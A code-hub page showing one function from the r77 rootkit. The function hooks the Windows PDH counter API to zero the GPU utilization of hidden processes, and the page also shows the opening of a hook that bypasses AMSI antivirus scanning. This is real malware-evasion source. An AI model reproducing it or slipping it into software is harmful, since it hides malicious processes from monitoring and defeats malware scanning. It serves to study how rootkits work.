MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / HookedPdhGetFormattedCounterArrayW

Function HookedPdhGetFormattedCounterArrayW

r77/Hooks.c:872–903  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

870 return status;
871}
872static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_FMT_COUNTERVALUE_ITEM_W itemBuffer)
873{
874 PDH_STATUS status = OriginalPdhGetFormattedCounterArrayW(counter, format, bufferSize, itemCount, itemBuffer);
875
876 if (status == ERROR_SUCCESS && itemCount && itemBuffer)
877 {
878 DWORD infoBufferSize = 0;
879 if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA)
880 {
881 PNT_PDH_COUNTER_INFO_W info = (PNT_PDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize);
882 if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS)
883 {
884 if (!StrCmpW(info->FullPath, L"\\GPU Engine(*)\\Utilization Percentage"))
885 {
886 for (DWORD i = 0; i < *itemCount; i++)
887 {
888 if (GetIsHiddenFromPdhString(itemBuffer[i].Name))
889 {
890 itemBuffer[i].FmtValue.LongValue = 0;
891 itemBuffer[i].FmtValue.DoubleValue = 0;
892 itemBuffer[i].FmtValue.LargeValue = 0;
893 }
894 }
895 }
896 }
897
898 FREE(info);
899 }
900 }
901
902 return status;
903}
904static HRESULT WINAPI HookedAmsiScanBuffer(LPVOID amsiContext, LPVOID buffer, ULONG length, LPCWSTR contentName, LPVOID amsiSession, LPDWORD result)
905{
906 // Bypass AMSI in every process that is injected with r77.

Callers

nothing calls this directly

Calls 2

R77_PdhGetCounterInfoWFunction · 0.85
GetIsHiddenFromPdhStringFunction · 0.85

Tested by

no test coverage detected